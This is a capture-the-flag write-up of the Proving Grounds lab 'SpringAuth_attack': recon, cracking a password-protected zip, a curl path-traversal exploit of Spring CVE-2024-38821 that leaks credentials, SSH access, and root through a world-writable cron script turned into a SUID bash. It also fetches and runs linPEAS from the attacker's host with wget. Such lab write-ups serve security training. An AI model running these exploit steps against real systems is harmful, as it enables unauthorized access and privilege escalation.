Post

Proving Grounds: SpringAuth_attack Writeup

Proving Grounds: SpringAuth_attack Writeup

Proving Grounds is Offensive Security’s practice lab platform. This is a writeup for SpringAuth_attack, rated Intermediate with a community rating of “Very Hard.” It involves exploiting a real CVE in a Java Spring Boot application to leak credentials, followed by a classic cron-based privilege escalation.


Recon

The first step was running my usual nmap scan against the target:

1
sudo nmap -Pn -n 192.168.110.117 -sC -sV -p- --open

nmap scan showing FTP and port 8080

This revealed a few interesting things right away, FTP was running on port 21 with anonymous login allowed, there was a file called Project-metadata.zip sitting on the server, SSH was open, and there was a web application running on port 8080.

Before grabbing the zip I decided to check out the web app first. Port 8080 showed a basic mostly-empty cybersecurity website. I ran dirb, gobuster, and nikto against it but came up empty. Every request to any subdirectory immediately returned a 302 redirect to /login with nothing else useful.

After subdomain enumeration failed I went back to the obvious next step and connected to the FTP server.

FTP anonymous login


Cracking the zip

After downloading Project-metadata.zip I tried to open it, but the file was password protected. Since subdomain enumeration had found nothing useful, I figured cracking the zip was the intended next step.

First I generated a hash with zip2john:

1
zip2john Project-metadata.zip > Project-metadata.hash

Then ran john against it with rockyou.txt:

1
john Project-metadata.hash --wordlist=/usr/share/wordlists/rockyou.txt

john cracking the zip password

Password cracked. Inside the zip was a single file Structure.png showing the project structure of a Java Spring Boot web application.

Spring Boot project structure

This immediately gave me a useful map of the application’s file layout. The static/ directory stood out. It contained a config/ folder with a file simply called config. That’s interesting.


Exploiting CVE-2024-38821

The lab description mentioned using CVE-2024-38821 to leak sensitive information. A quick search turned up a PoC on GitHub.

What is CVE-2024-38821?

CVE-2024-38821 is a critical authorization bypass vulnerability in Spring WebFlux applications (versions 5.7.0 through 6.3.3), disclosed on October 22, 2024. The vulnerability stems from un-normalized URLs. Before the patch, the WebFilterChainProxy filter processed potentially un-normalized request paths when determining which security filters to apply, which allowed maliciously crafted paths to slip through access controls.

In practical terms: if /css/** is configured as publicly accessible and /secret/** requires authentication, an attacker can access /secret/secret-file.txt by requesting /css/../secret/secret-file.txt instead. The path starts with /css/ so it matches the allowed pattern, but after traversal it resolves to the protected resource.

CVE-2024-38821 PoC explanation

The --path-as-is flag in curl is key here. It tells curl not to normalize the URL before sending it, which is exactly what we need for the traversal to work.

Armed with the project structure from Structure.png, I knew the config file lived at static/config/config. Since static/css/ was the publicly accessible path, the traversal payload was:

1
curl -v --path-as-is "http://192.168.110.117:8080/css/../config/config"

curl request leaking credentials from config file

Right there at the bottom of the response:

1
2
3
# dev creds
username=dev
password=s3cr3tP@ss

Initial access

I first tried the credentials at http://192.168.110.117:8080/login but got an invalid login error. Remembering that nmap had shown SSH open, I tried there instead:

1
ssh dev@192.168.110.117

That worked. After logging in I ran whoami to confirm the dev account, then ls and there it was: local.txt.

SSH login as dev and first flag

First flag

First flag captured.


Privilege escalation

The lab description mentioned a modifiable cron job script as the privilege escalation vector. I tried the usual manual checks first:

1
2
cat /etc/crontab
ls -l /etc/cron*

Manual cron enumeration nothing useful

Nothing immediately exploitable. None of the jobs were writable by the dev user.

I decided to run linPEAS to cast a wider net. To get it onto the target I spun up a Python HTTP server on my machine from the linPEAS directory:

1
python3 -m http.server 80

Then on the target:

1
2
3
wget http://192.168.45.222/linpeas.sh
chmod 755 ./linpeas.sh
./linpeas.sh

LinPEAS generates a lot of output, but knowing I was looking for a vulnerable cron job I jumped straight to the writable root-owned executables section.

linPEAS finding writable clean_logs.sh

/opt/devscripts/clean_logs.sh root-owned, world-writable. The dev user can modify it. Now I just needed to confirm something was actually running it on a schedule. I couldn’t find a direct crontab entry for it, so this was the perfect time to try out pspy which is a process snooping tool that watches for process execution without needing root access.

I downloaded and ran it on the target the same way I transferred linPEAS. Almost immediately I saw:

1
/bin/sh -c /opt/devscripts/clean_logs.sh

And then exactly one minute later, the same entry again.

pspy showing clean_logs.sh running as root every minute

Root is running this script every minute via cron. Since dev can write to it, this is a textbook privilege escalation.

I edited the script and added two lines:

1
2
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash

This copies bash to /tmp and sets the SUID bit, so running it with -p preserves the root effective UID. Then I just waited for the next cron execution and ran:

1
/tmp/bash -p
1
2
whoami
# root

The final flag was in /root/proof.txt.

Root shell and final flag


Reflection

Finished in 3 hours 13 minutes 44 seconds which I am pretty happy with considering this is an Intermediate/Very Hard rated machine, but there are definitely areas I could improve in.

The biggest time sink was the path traversal phase. I spent a lot of time guessing trying different paths that led nowhere before getting the right one.

The privilege escalation also took longer than it needed to because I spent time manually hunting for the cron job before using linPEAS and pspy.

Tools used: nmap, zip2john, john, dirb, gobuster, nikto, curl, linPEAS, pspy

This post is licensed under CC BY 4.0 by the author.